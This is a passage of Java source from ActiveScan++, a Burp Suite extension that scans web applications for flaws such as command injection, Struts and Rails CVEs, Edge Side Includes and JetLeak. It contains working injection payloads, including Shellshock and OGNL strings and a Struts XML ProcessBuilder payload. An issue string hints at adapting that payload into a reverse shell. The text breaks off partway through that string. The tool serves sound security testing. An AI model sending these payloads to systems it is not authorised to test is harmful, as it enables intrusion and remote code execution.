String name = "ActiveScan++"; 15 | private static final String version = "2.0.6"; 16 | public boolean unloaded = false; 17 | static ConcurrentHashMap hostsToSkip = new ConcurrentHashMap<>(); 18 | 19 | @Override 20 | public void initialize(MontoyaApi api) { 21 | Utilities.montoyaApi = api; 22 | if (!Utilities.montoyaApi.burpSuite().version().edition().equals(BurpSuiteEdition.ENTERPRISE_EDITION)) { 23 | BulkUtilities.registerContextMenu(); 24 | } 25 | // api.http().registerHttpHandler(new Tester()); 26 | // api.userInterface().registerContextMenuItemsProvider(new OfferHostnameOverride()); 27 | } 28 | 29 | @Override 30 | public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) { 31 | 32 | new Utilities(callbacks, new HashMap<>(), name); 33 | Utilities.callbacks.setExtensionName(name); 34 | Utilities.callbacks.registerExtensionStateListener(this); 35 | 36 | Utilities.callbacks.registerScannerCheck(new PerHostScans("Per host scans")); 37 | Utilities.callbacks.registerScannerCheck(new PerRequestScans("Per request scans")); 38 | Utilities.callbacks.registerScannerCheck(new CodeExec("Code Exec")); 39 | Utilities.callbacks.registerScannerCheck(new EdgeSideInclude("Edge Side Include")); 40 | Utilities.callbacks.registerScannerCheck(new JetLeak("JetLeak")); 41 | Utilities.callbacks.registerScannerCheck(new SimpleFuzz("Simple Fuzz")); 42 | Utilities.callbacks.registerScannerCheck(new SolrScan("Solr Scan")); 43 | Utilities.callbacks.registerScannerCheck(new Struts201712611Scan("Struts 2017-12611 Scan")); 44 | Utilities.callbacks.registerScannerCheck(new SuspectTransform("Suspect Transform")); 45 | Utilities.callbacks.registerScannerCheck(new XMLScan("XML security")); 46 | 47 | new BulkScanLauncher(BulkScan.scans); 48 | 49 | Utilities.out("Loaded " + name + " v" + version); 50 | } 51 | 52 | public void extensionUnloaded() { 53 | Utilities.log("Aborting all attacks"); 54 | Utilities.unloaded.set(true); 55 | } 56 | 57 | } 58 | 59 | -------------------------------------------------------------------------------- /src/burp/CodeExec.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import org.apache.commons.lang3.tuple.ImmutablePair; 3 | import org.apache.commons.lang3.tuple.Pair; 4 | import static burp.Utilities.callbacks; 5 | import static burp.Utilities.helpers; 6 | import java.net.URL; 7 | import java.util.*; 8 | 9 | public class CodeExec extends ParamScan { 10 | private List _done; 11 | private HashMap> _payloads; 12 | private HashMap _extensionMappings; 13 | 14 | public CodeExec(String name) { 15 | super(name); 16 | this._done = new ArrayList<>(); 17 | 18 | // Initialize payloads 19 | _payloads = new HashMap<>(); 20 | _payloads.put("any", Arrays.asList( 21 | "\u0003 /bin/sleep $time \r", 22 | "'\r /bin/sleep $time \r", 23 | "\"\r /bin/sleep $time \r", 24 | "() { :;}; /bin/sleep $time", 25 | "() { _; } >_[$$($$())] { /bin/sleep $time; }", "$$(sleep $time)", "`sleep $time`" 26 | )); 27 | _payloads.put("php", Collections.emptyList()); 28 | _payloads.put("perl", Arrays.asList("/bin/sleep $time|")); 29 | _payloads.put("ruby", Arrays.asList("|sleep $time & ping -n $time localhost & ping -c $time localhost")); 30 | _payloads.put("java", Arrays.asList( 31 | "${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"timeout\",\"$time\"})).start()).getInputStream()))).readLine()}${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{\"sleep\",\"$time\"})).start()).getInputStream()))).readLine()}" 32 | )); 33 | 34 | // Initialize extension mappings 35 | _extensionMappings = new HashMap<>(); 36 | _extensionMappings.put("php5", "php"); 37 | _extensionMappings.put("php4", "php"); 38 | _extensionMappings.put("php3", "php"); 39 | _extensionMappings.put("php", "php"); 40 | _extensionMappings.put("pl", "perl"); 41 | _extensionMappings.put("cgi", "perl"); 42 | _extensionMappings.put("jsp", "java"); 43 | _extensionMappings.put("do", "java"); 44 | _extensionMappings.put("action", "java"); 45 | _extensionMappings.put("rb", "ruby"); 46 | _extensionMappings.put("", "php,ruby,java"); 47 | _extensionMappings.put("unrecognised", "java"); 48 | _extensionMappings.put("asp", "any"); 49 | _extensionMappings.put("aspx", "any"); 50 | } 51 | 52 | @Override 53 | List doScan(IHttpRequestResponse iHttpRequestResponse, IScannerInsertionPoint iScannerInsertionPoint) { 54 | return List.of(); 55 | } 56 | 57 | @Override 58 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 59 | Set payloads = new HashSet<>(); 60 | List languages = _getLangs(basePair); 61 | 62 | for (String lang : languages) { 63 | List newPayloads = _payloads.get(lang); 64 | if (newPayloads != null) { 65 | payloads.addAll(newPayloads); 66 | } 67 | } 68 | payloads.addAll(_payloads.get("any")); 69 | 70 | int delayTarget = 4000; 71 | 72 | for (String payload : payloads) { 73 | 74 | for (int confirmations = 0; ; confirmations++) { 75 | 76 | Pair attack = _attack(basePair, insertionPoint, payload, delayTarget); 77 | Pair dummyAttack = _attack(basePair, insertionPoint, payload, 0); 78 | 79 | long attackTime = attack.getKey(); 80 | IHttpRequestResponse attackRequest = attack.getValue(); 81 | long dummyTime = dummyAttack.getKey(); 82 | IHttpRequestResponse dummyRequest = dummyAttack.getValue(); 83 | 84 | if (dummyRequest.getResponse() == null) { 85 | Utilities.log("Received empty response to baseline request - abandoning attack"); 86 | break; 87 | } 88 | 89 | // if (dummyTime > delayTarget) { 90 | // return List.of(); 91 | // } 92 | 93 | if (attackTime < (delayTarget-100) || dummyTime + 1000 > attackTime) { 94 | break; 95 | } 96 | 97 | if (confirmations == 6) { 98 | Utilities.log("Code execution confirmed"); 99 | URL url = helpers.analyzeRequest(attack.getValue()).getUrl(); 100 | if (_done.contains(url)) { 101 | Utilities.log("Skipping report - vulnerability already reported"); 102 | break; 103 | } 104 | _done.add(url); 105 | return Arrays.asList(new CustomScanIssue( 106 | attackRequest.getHttpService(), 107 | url, 108 | new IHttpRequestResponse[]{attackRequest}, 109 | "Code injection", 110 | "The application appears to evaluate user input as code.

It was instructed to sleep for 0ms, and a response time of " + dummyTime + "ms was observed.
It was then instructed to sleep for " + delayTarget + "ms, which resulted in a response time of " + attackTime + "ms. This was re-confirmed six times to reduce false-positives

", 111 | "Firm", 112 | CustomScanIssue.severity.High 113 | )); 114 | } 115 | } 116 | 117 | 118 | } 119 | return Collections.emptyList(); 120 | } 121 | 122 | public List doActiveScanold(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 123 | Set payloads = new HashSet<>(); 124 | List languages = _getLangs(basePair); 125 | 126 | for (String lang : languages) { 127 | List newPayloads = _payloads.get(lang); 128 | if (newPayloads != null) { 129 | payloads.addAll(newPayloads); 130 | } 131 | } 132 | payloads.addAll(_payloads.get("any")); 133 | 134 | int delayTarget = 0; 135 | int margin = 1000; 136 | for (String payload : payloads) { 137 | if (delayTarget == 0) { 138 | long baseTime = _attack(basePair, insertionPoint, payload, 0).getKey(); 139 | if (baseTime < 1000) { 140 | delayTarget = 4000; 141 | margin = 1000; 142 | } else if (baseTime < 9000) { 143 | delayTarget = 9000; 144 | margin = 3000; 145 | } else { 146 | return Collections.emptyList(); 147 | } 148 | } 149 | if (_attack(basePair, insertionPoint, payload, delayTarget).getKey() > delayTarget) { 150 | Utilities.log("Suspicious delay detected. Confirming it's consistent..."); 151 | Pair dummyAttack = _attack(basePair, insertionPoint, payload, 0); 152 | long dummyTime = dummyAttack.getKey(); 153 | IHttpRequestResponse dummyRequest = dummyAttack.getValue(); 154 | 155 | if (dummyRequest.getResponse() == null) { 156 | Utilities.log("Received empty response to baseline request - abandoning attack"); 157 | break; 158 | } 159 | 160 | if (dummyTime + margin < delayTarget) { 161 | Pair attack = _attack(basePair, insertionPoint, payload, delayTarget); 162 | long timer = attack.getKey(); 163 | if (timer > delayTarget) { 164 | Utilities.log("Code execution confirmed"); 165 | URL url = helpers.analyzeRequest(attack.getValue()).getUrl(); 166 | if (_done.contains(url)) { 167 | Utilities.log("Skipping report - vulnerability already reported"); 168 | break; 169 | } 170 | _done.add(url); 171 | return Arrays.asList(new CustomScanIssue( 172 | attack.getValue().getHttpService(), 173 | url, 174 | new IHttpRequestResponse[] {dummyRequest, attack.getValue()}, 175 | "Code injection", 176 | "The application appears to evaluate user input as code.

It was instructed to sleep for 0ms, and a response time of " + dummyTime + "ms was observed.
It was then instructed to sleep for "+delayTarget+"ms, which resulted in a response time of " + timer + "ms.

", 177 | "Firm", 178 | CustomScanIssue.severity.High 179 | )); 180 | } 181 | } 182 | } 183 | } 184 | 185 | return Collections.emptyList(); 186 | } 187 | 188 | private List _getLangs(IHttpRequestResponse basePair) { 189 | String path = helpers.analyzeRequest(basePair).getUrl().getPath(); 190 | String ext = ""; 191 | if (path.contains(".")) { 192 | ext = path.substring(path.lastIndexOf('.') + 1); 193 | } 194 | String code = _extensionMappings.getOrDefault(ext, _extensionMappings.get("unrecognised")); 195 | return Arrays.asList(code.split(",")); 196 | } 197 | 198 | private Pair _attack(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint, String payload, long sleeptime) { 199 | payload = payload.replace("$time", String.valueOf(sleeptime/1000)); 200 | long timer = System.currentTimeMillis(); 201 | IHttpRequestResponse attack = callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(payload.getBytes())); 202 | timer = (System.currentTimeMillis() - timer); 203 | Utilities.log("Response time: " + timer + "| Payload: " + payload); 204 | 205 | List requestHighlights = Collections.singletonList(insertionPoint.getPayloadOffsets(payload.getBytes())); 206 | attack = callbacks.applyMarkers(attack, requestHighlights, null); 207 | 208 | return new ImmutablePair<>(timer, attack); 209 | } 210 | } -------------------------------------------------------------------------------- /src/burp/CustomScanIssue.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.URL; 4 | 5 | class CustomScanIssue implements IScanIssue { 6 | private IHttpService httpService; 7 | private URL url; 8 | private IHttpRequestResponse[] httpMessages; 9 | private String name; 10 | private String detail; 11 | private String severity; 12 | private String confidence; 13 | 14 | enum severity { 15 | High, 16 | Medium, 17 | Low, 18 | Information 19 | } 20 | 21 | public CustomScanIssue(IHttpService httpService, URL url, IHttpRequestResponse[] httpMessages, String name, String detail, String confidence, CustomScanIssue.severity severity) { 22 | this.httpService = httpService; 23 | this.url = url; 24 | this.httpMessages = httpMessages; 25 | this.name = name; 26 | this.detail = detail + "

Please report any false-positives to https://github.com/albinowax/ActiveScanPlusPlus"; 27 | this.severity = severity.name(); 28 | this.confidence = confidence; 29 | System.out.println("Reported: " + name + " on " + url); 30 | } 31 | 32 | @Override 33 | public URL getUrl() { 34 | return url; 35 | } 36 | 37 | @Override 38 | public String getIssueName() { 39 | return name; 40 | } 41 | 42 | @Override 43 | public int getIssueType() { 44 | return 0; 45 | } 46 | 47 | @Override 48 | public String getSeverity() { 49 | return severity; 50 | } 51 | 52 | @Override 53 | public String getConfidence() { 54 | return confidence; 55 | } 56 | 57 | @Override 58 | public String getIssueBackground() { 59 | return null; 60 | } 61 | 62 | @Override 63 | public String getRemediationBackground() { 64 | return null; 65 | } 66 | 67 | @Override 68 | public String getIssueDetail() { 69 | return detail; 70 | } 71 | 72 | @Override 73 | public String getRemediationDetail() { 74 | return null; 75 | } 76 | 77 | @Override 78 | public IHttpRequestResponse[] getHttpMessages() { 79 | return httpMessages; 80 | } 81 | 82 | @Override 83 | public IHttpService getHttpService() { 84 | return httpService; 85 | } 86 | } -------------------------------------------------------------------------------- /src/burp/EdgeSideInclude.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import java.util.ArrayList; 3 | import java.util.List; 4 | 5 | import static burp.PerHostScans.htmlEncode; 6 | import static burp.OldUtilities.randstr; 7 | import static burp.Utilities.callbacks; 8 | import static burp.Utilities.helpers; 9 | 10 | public class EdgeSideInclude extends ParamScan { 11 | public EdgeSideInclude(String name) { 12 | super(name); 13 | } 14 | 15 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 16 | List issues = new ArrayList<>(); 17 | 18 | // Generate random canaries 19 | String canary1 = randstr(4); 20 | String canary2 = randstr(4); 21 | String canary3 = randstr(4); 22 | 23 | // Construct the attack payload 24 | String probe = canary1 + "" + canary2 + "" + canary3; 25 | byte[] payload = insertionPoint.buildRequest(probe.getBytes()); 26 | 27 | // Send the attack request 28 | IHttpRequestResponse attack = callbacks.makeHttpRequest(basePair.getHttpService(), payload); 29 | String resp = helpers.bytesToString(attack.getResponse()); 30 | 31 | // Expected response 32 | String expect = canary1 + canary2 + "" + canary3; 33 | 34 | // Check if the expected response is in the actual response 35 | if (resp.contains(expect)) { 36 | issues.add(new CustomScanIssue( 37 | attack.getHttpService(), 38 | helpers.analyzeRequest(attack).getUrl(), 39 | new IHttpRequestResponse[] { attack }, 40 | "Edge Side Include", 41 | "The application appears to support Edge Side Includes:

" + 42 | "The following probe was sent: " + htmlEncode(probe) + 43 | "
In the response, the ESI comment has been stripped: " + htmlEncode(expect) + 44 | "

Refer to https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/ for further information", 45 | "Tentative", 46 | CustomScanIssue.severity.High 47 | )); 48 | } 49 | 50 | return issues; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/burp/JetLeak.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import java.util.ArrayList; 3 | import java.util.List; 4 | 5 | import static burp.PerHostScans.safeBytesToString; 6 | import static burp.Utilities.helpers; 7 | import static burp.OldUtilities.request2; 8 | 9 | public class JetLeak extends ParamScan { 10 | 11 | public JetLeak(String name) { 12 | super(name); 13 | } 14 | 15 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 16 | if (!"Referer".equals(insertionPoint.getInsertionPointName())) { 17 | return new ArrayList<>(); 18 | } 19 | IHttpRequestResponse attack = request2(basePair, insertionPoint, "\\x00"); 20 | String respStart = safeBytesToString(attack.getResponse()).substring(0, 90); 21 | List issues = new ArrayList<>(); 22 | if (respStart.contains("400 Illegal character 0x0 in state") && respStart.contains("<<<")) { 23 | issues.add(new CustomScanIssue( 24 | attack.getHttpService(), 25 | helpers.analyzeRequest(attack).getUrl(), 26 | new IHttpRequestResponse[]{attack}, 27 | "CVE-2015-2080 (JetLeak)", 28 | "The application appears to be running a version of Jetty vulnerable to CVE-2015-2080, which allows attackers to read out private server memory.
" 29 | + "Please refer to http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html for further information", 30 | "Firm", 31 | CustomScanIssue.severity.High 32 | )); 33 | } 34 | return issues; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/burp/OldUtilities.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.api.montoya.core.BurpSuiteEdition; 4 | 5 | import java.nio.charset.StandardCharsets; 6 | import java.util.Arrays; 7 | import java.util.Random; 8 | import java.util.regex.Matcher; 9 | import java.util.regex.Pattern; 10 | 11 | public class OldUtilities { 12 | public static IHttpRequestResponse request2(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint, String attack) { 13 | return Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), insertionPoint.buildRequest(attack.getBytes())); 14 | } 15 | 16 | // Placeholder methods for helpers and callbacks, assumed to be provided elsewhere 17 | public static String safeBytesToString(byte[] bytes) { 18 | return new String(bytes); 19 | } 20 | 21 | public static byte[] concatenate(byte[] a, byte[] b) { 22 | byte[] result = new byte[a.length + b.length]; 23 | System.arraycopy(a, 0, result, 0, a.length); 24 | System.arraycopy(b, 0, result, a.length, b.length); 25 | return result; 26 | } 27 | 28 | public static String tagmap(String input) { 29 | StringBuilder tags = new StringBuilder(); 30 | Pattern pattern = Pattern.compile("(?im)(<[a-z]+)"); 31 | Matcher matcher = pattern.matcher(input); 32 | while (matcher.find()) { 33 | tags.append(matcher.group()); 34 | } 35 | return tags.toString(); 36 | } 37 | 38 | public static byte[] setHeader(byte[] request, String name, String value, boolean addIfNotPresent) { 39 | if (addIfNotPresent) { 40 | return Utilities.addOrReplaceHeader(request, name, value); 41 | } else { 42 | return Utilities.setHeader(request, name, value); 43 | } 44 | 45 | // // find the end of the headers 46 | // String prev = ""; 47 | // int i = 0; 48 | // while (i < request.length) { 49 | // char thisChar = (char) request[i]; 50 | // if (prev.equals("\n") && thisChar == '\n') { 51 | // break; 52 | // } 53 | // if (prev.equals("\r") && thisChar == '\n' && request[i - 2] == '\n') { 54 | // break; 55 | // } 56 | // prev = String.valueOf(thisChar); 57 | // i++; 58 | // } 59 | // int bodyStart = i; 60 | // 61 | // // walk over the headers and change as appropriate 62 | // String headers = new String(Arrays.copyOfRange(request, 0, bodyStart), StandardCharsets.UTF_8); 63 | // String[] headersArray = headers.split("\r?\n"); 64 | // boolean modified = false; 65 | // for (int j = 0; j < headersArray.length; j++) { 66 | // int valueStart = headersArray[j].indexOf(": "); 67 | // if (valueStart != -1) { 68 | // String headerNameFound = headersArray[j].substring(0, valueStart); 69 | // if (headerNameFound.equals(name)) { 70 | // String newValue = headerNameFound + ": " + value; 71 | // if (!newValue.equals(headersArray[j])) { 72 | // headersArray[j] = newValue; 73 | // modified = true; 74 | // } 75 | // } 76 | // } 77 | // } 78 | // 79 | // // stitch the request back together 80 | // byte[] modifiedRequest; 81 | // if (modified) { 82 | // modifiedRequest = concatenate(Utilities.helpers.stringToBytes(String.join("\r\n", headersArray) + "\r\n"), Arrays.copyOfRange(request, bodyStart, request.length)); 83 | // } else if (addIfNotPresent) { 84 | // IRequestInfo requestInfo = Utilities.helpers.analyzeRequest(request); 85 | // int realStart = requestInfo.getBodyOffset(); 86 | // modifiedRequest = concatenate(Arrays.copyOfRange(request, 0, realStart - 2), Utilities.helpers.stringToBytes(name + ": " + value + "\r\n\r\n")); 87 | // modifiedRequest = concatenate(modifiedRequest, Arrays.copyOfRange(request, realStart, request.length)); 88 | // } else { 89 | // modifiedRequest = request; 90 | // } 91 | // 92 | // return modifiedRequest; 93 | } 94 | 95 | public static void launchPassiveScan(IHttpRequestResponse attack) { 96 | if (Utilities.montoyaApi.burpSuite().version().edition().equals(BurpSuiteEdition.ENTERPRISE_EDITION) || attack.getResponse() == null) { 97 | return; 98 | } 99 | 100 | IHttpService service = attack.getHttpService(); 101 | boolean usingHttps = service.getProtocol().equals("https"); 102 | Utilities.callbacks.doPassiveScan(service.getHost(), service.getPort(), usingHttps, attack.getRequest(), attack.getResponse()); 103 | } 104 | 105 | public static boolean hit(byte[] response, String basePrint) { 106 | return tagmap(safeBytesToString(response)).equals(basePrint); 107 | } 108 | 109 | public static String randstr(int length) { 110 | String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 111 | StringBuilder sb = new StringBuilder(length); 112 | Random rnd = new Random(); 113 | for (int i = 0; i < length; i++) { 114 | sb.append(chars.charAt(rnd.nextInt(chars.length()))); 115 | } 116 | return sb.toString(); 117 | } 118 | } 119 | -------------------------------------------------------------------------------- /src/burp/PerHostScans.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import java.util.*; 3 | 4 | public class PerHostScans extends ParamScan { 5 | private static Set scannedHosts = new HashSet<>(); 6 | 7 | PerHostScans(String name) { 8 | super(name); 9 | } 10 | 11 | 12 | @Override 13 | public List doPassiveScan(IHttpRequestResponse basePair) { 14 | return Collections.emptyList(); 15 | } 16 | 17 | @Override 18 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 19 | String host = basePair.getHttpService().getHost(); 20 | if (scannedHosts.contains(host)) { 21 | return Collections.emptyList(); 22 | } 23 | 24 | scannedHosts.add(host); 25 | List issues = new ArrayList<>(); 26 | issues.addAll(interestingFileScan(basePair)); 27 | return issues; 28 | } 29 | 30 | @Override 31 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) { 32 | return 0; 33 | } 34 | 35 | private static final Object[][] interestingFileMappings = { 36 | {"/.git/config", "[core]", "source code leak?"}, 37 | {"/server-status", "Server uptime", "debug info"}, 38 | {"/.well-known/apple-app-site-association", "applinks", "https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html"}, 39 | {"/.well-known/openid-configuration", "\"authorization_endpoint\"", "https://portswigger.net/research/hidden-oauth-attack-vectors"}, 40 | {"/.well-known/oauth-authorization-server", "\"authorization_endpoint\"", "https://portswigger.net/research/hidden-oauth-attack-vectors"}, 41 | {"/users/confirmation", "onfirmation token", "Websites using the Devise framework often have a race condition enabling email forgery: https://portswigger.net/research/smashing-the-state-machine"} 42 | }; 43 | 44 | private List interestingFileScan(IHttpRequestResponse basePair) { 45 | List issues = new ArrayList<>(); 46 | for (Object[] mapping : interestingFileMappings) { 47 | String url = (String) mapping[0]; 48 | String expect = (String) mapping[1]; 49 | String reason = (String) mapping[2]; 50 | 51 | IHttpRequestResponse attack = fetchURL(basePair, url); 52 | if (safeBytesToString(attack.getResponse()).contains(expect)) { 53 | // prevent false positives by tweaking the URL and confirming the expected string goes away 54 | IHttpRequestResponse baseline = fetchURL(basePair, url.substring(0, url.length() - 1)); 55 | if (!safeBytesToString(baseline.getResponse()).contains(expect)) { 56 | issues.add(new CustomScanIssue( 57 | basePair.getHttpService(), 58 | Utilities.helpers.analyzeRequest(attack).getUrl(), 59 | new IHttpRequestResponse[]{attack, baseline}, 60 | "Interesting response", 61 | "The response to " + htmlEncode(url) + " contains '" + htmlEncode(expect) + "'

This may be interesting. Here's a clue why: " + htmlEncode(reason) + "", 62 | "Firm", 63 | CustomScanIssue.severity.Information 64 | )); 65 | } 66 | } 67 | } 68 | return issues; 69 | } 70 | 71 | private IHttpRequestResponse fetchURL(IHttpRequestResponse basePair, String url) { 72 | String path = Utilities.helpers.analyzeRequest(basePair).getUrl().getPath(); 73 | String newReq = safeBytesToString(basePair.getRequest()).replaceFirst(path, url); 74 | return Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), newReq.getBytes()); 75 | } 76 | 77 | // Placeholder methods for helpers and callbacks, assumed to be provided elsewhere 78 | static String safeBytesToString(byte[] bytes) { 79 | return new String(bytes); 80 | } 81 | 82 | static String htmlEncode(String input) { 83 | // Implement HTML encoding as needed 84 | return input; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/burp/PerRequestScans.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import burp.api.montoya.http.RequestOptions; 3 | import burp.api.montoya.http.message.params.HttpParameter; 4 | import burp.api.montoya.http.message.params.HttpParameterType; 5 | import burp.api.montoya.http.message.requests.HttpRequest; 6 | import org.apache.commons.lang3.tuple.ImmutablePair; 7 | import org.apache.commons.lang3.tuple.Pair; 8 | import org.apache.commons.lang3.text.StrSubstitutor; 9 | 10 | import java.util.*; 11 | import java.net.URL; 12 | import java.util.Random; 13 | import java.util.regex.Matcher; 14 | import java.util.regex.Pattern; 15 | 16 | public class PerRequestScans extends ParamScan { 17 | private final List scanChecks; 18 | 19 | public PerRequestScans(String name) { 20 | super(name); 21 | scanChecks = Arrays.asList( 22 | this::doHostHeaderScan, 23 | this::doCodePathScan, 24 | this::doStrutsScan, 25 | //this::doStruts20179805Scan, 26 | //this::doStruts201811776Scan, 27 | //this::doXXEPostScan, // dodgy check 28 | this::doRailsScan 29 | ); 30 | } 31 | 32 | @Override 33 | public List doPassiveScan(IHttpRequestResponse basePair) { 34 | return Collections.emptyList(); 35 | } 36 | 37 | @Override 38 | public List doActiveScan(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 39 | if (!shouldTriggerPerRequestAttacks(basePair, insertionPoint)) { 40 | return Collections.emptyList(); 41 | } 42 | 43 | List issues = new ArrayList<>(); 44 | for (ScanCheck scanCheck : scanChecks) { 45 | try { 46 | issues.addAll(scanCheck.perform(basePair)); 47 | } catch (Exception e) { 48 | System.err.println("Error executing PerRequestScans." + scanCheck.getClass().getName() + ": "); 49 | e.printStackTrace(); 50 | } 51 | } 52 | return issues; 53 | } 54 | 55 | @Override 56 | public int consolidateDuplicateIssues(IScanIssue iScanIssue, IScanIssue iScanIssue1) { 57 | return 0; 58 | } 59 | 60 | private boolean shouldTriggerPerRequestAttacks(IHttpRequestResponse basePair, IScannerInsertionPoint insertionPoint) { 61 | IRequestInfo request = Utilities.helpers.analyzeRequest(basePair.getRequest()); 62 | List params = request.getParameters(); 63 | 64 | if (!params.isEmpty()) { 65 | int firstParameterOffset = Integer.MAX_VALUE; 66 | IParameter firstParameter = null; 67 | for (int paramType : Arrays.asList( 68 | IParameter.PARAM_BODY, IParameter.PARAM_URL, IParameter.PARAM_JSON, 69 | IParameter.PARAM_XML, IParameter.PARAM_XML_ATTR, IParameter.PARAM_MULTIPART_ATTR, IParameter.PARAM_COOKIE)) { 70 | for (IParameter param : params) { 71 | if (param.getType() != paramType) { 72 | continue; 73 | } 74 | if (param.getNameStart() < firstParameterOffset) { 75 | firstParameterOffset = param.getNameStart(); 76 | firstParameter = param; 77 | } 78 | } 79 | if (firstParameter != null) { 80 | break; 81 | } 82 | } 83 | 84 | if (firstParameter != null && firstParameter.getName().equals(insertionPoint.getInsertionPointName())) { 85 | return true; 86 | } 87 | } else if (insertionPoint.getInsertionPointType() == IScannerInsertionPoint.INS_HEADER && "User-Agent".equals(insertionPoint.getInsertionPointName())) { 88 | return true; 89 | } 90 | 91 | return false; 92 | } 93 | 94 | private List doRailsScan(IHttpRequestResponse basePair) { 95 | if (OldUtilities.safeBytesToString(basePair.getResponse()).contains("127.0.0.1")) { 96 | return Collections.emptyList(); 97 | } 98 | 99 | IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Accept", "../../../../../../../../../../../e*c/h*s*s{{"); 100 | String response = OldUtilities.safeBytesToString(attack.getResponse()); 101 | if (response.contains("127.0.0.1")) { 102 | try { 103 | String collabLocation = Utilities.callbacks.createBurpCollaboratorClientContext().getCollaboratorServerLocation(); 104 | if (response.contains(collabLocation)) { 105 | return Collections.emptyList(); 106 | } 107 | } catch (Exception e) { 108 | // Ignore exceptions 109 | } 110 | return Collections.singletonList(new CustomScanIssue( 111 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 112 | new IHttpRequestResponse[]{attack}, 113 | "Rails file disclosure", 114 | "The application appears to be vulnerable to CVE-2019-5418, enabling arbitrary file disclosure.", 115 | "Firm", CustomScanIssue.severity.High 116 | )); 117 | } 118 | return Collections.emptyList(); 119 | } 120 | 121 | private List doStrutsScan(IHttpRequestResponse basePair) { 122 | Random random = new Random(); 123 | int x = random.nextInt(9000) + 1000; 124 | int y = random.nextInt(9000) + 1000; 125 | IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Content-Type", "${#context[\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\"].addHeader(\"X-Ack\"," + x + "*" + y + ")}.multipart/form-data"); 126 | 127 | String responseHeaders = String.join("\n", Utilities.helpers.analyzeResponse(attack.getResponse()).getHeaders()); 128 | if (responseHeaders.contains(String.valueOf(x * y))) { 129 | return Collections.singletonList(new CustomScanIssue( 130 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 131 | new IHttpRequestResponse[]{attack}, 132 | "Struts2 RCE", 133 | "The application appears to be vulnerable to CVE-2017-5638, enabling arbitrary code execution.", 134 | "Firm", CustomScanIssue.severity.High 135 | )); 136 | } 137 | 138 | return Collections.emptyList(); 139 | } 140 | 141 | private IHttpRequestResponse fetchModifiedRequest(IHttpRequestResponse basePair, String headerName, String headerValue) { 142 | IRequestInfo requestInfo = Utilities.helpers.analyzeRequest(basePair.getRequest()); 143 | byte[] newReq = Utilities.addOrReplaceHeader(basePair.getRequest(), headerName, headerValue); 144 | // String newReq = OldUtilities.safeBytesToString(basePair.getRequest()).replaceFirst(requestInfo.getHeaders().get(0), headerName + ": " + headerValue); 145 | return Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), newReq); 146 | } 147 | 148 | private interface ScanCheck { 149 | List perform(IHttpRequestResponse basePair); 150 | } 151 | 152 | private List doStruts20179805Scan(IHttpRequestResponse basePair) { 153 | if (Utilities.callbacks.saveConfigAsJson("project_options.misc.collaborator_server").contains("\"type\":\"none\"")) { 154 | return Collections.emptyList(); 155 | } 156 | 157 | IBurpCollaboratorClientContext collab = Utilities.callbacks.createBurpCollaboratorClientContext(); 158 | String collabPayload = collab.generatePayload(true); 159 | 160 | String paramPre = "0false0"; 161 | String paramPost = "falsejava.lang.ProcessBuilderstartfoofoofalse00falsefalse0"; 162 | 163 | String command = "ping
" + collabPayload + "-c1"; 164 | String wholeParam = paramPre + command + paramPost; 165 | 166 | IHttpRequestResponse attack = fetchModifiedRequest(basePair, "Content-Type", "application/xml"); 167 | attack = fetchModifiedRequest(attack, "Content-Length", String.valueOf(wholeParam.length())); 168 | 169 | byte[] req = attack.getRequest(); 170 | req = Utilities.setBody(req, wholeParam); 171 | //req = OldUtilities.concatenate(req, wholeParam.getBytes()); 172 | req = Utilities.setMethod(req, "POST"); 173 | 174 | // System.out.println("The outgoing Struts_2017_9805 request looks like:\n\n" + new String(req) + "\n"); 175 | 176 | attack = Utilities.callbacks.makeHttpRequest(basePair.getHttpService(), req); 177 | List interactions = collab.fetchAllCollaboratorInteractions(); 178 | 179 | if (!interactions.isEmpty()) { 180 | return Collections.singletonList(new CustomScanIssue( 181 | basePair.getHttpService(), Utilities.helpers.analyzeRequest(basePair).getUrl(), 182 | new IHttpRequestResponse[]{attack}, 183 | "Struts2 CVE-2017-9805 RCE", 184 | "The application appears to be vulnerable to CVE-2017-9805, enabling arbitrary code execution. For POC or reverse shell, write a command, put it in Base64 (to keep special chars from breaking XML), and change the nslookup chunk to something like:\n\n'/bin/bash-cecho 